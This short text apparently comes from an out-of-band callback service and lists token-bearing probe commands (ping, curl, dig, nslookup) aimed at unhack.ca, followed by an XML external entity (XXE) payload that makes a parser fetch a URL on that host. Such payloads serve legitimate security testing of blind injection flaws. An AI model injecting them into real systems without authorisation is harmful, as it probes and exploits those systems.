$ ping -c1 -p 00daae00a07175124c4148bff7783900 unhack.ca
 

$ curl http://unhack.ca/p/daae00a07175124c4148bff77839
 

$ dig daae00a07175124c4148bff77839 @unhack.ca
 

$ dig daae00a07175124c4148bff77839.ns.unhack.ca
 

C:\> nslookup daae00a07175124c4148bff77839 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/daae00a07175124c4148bff77839">]>
    <foo>&xxe;</foo>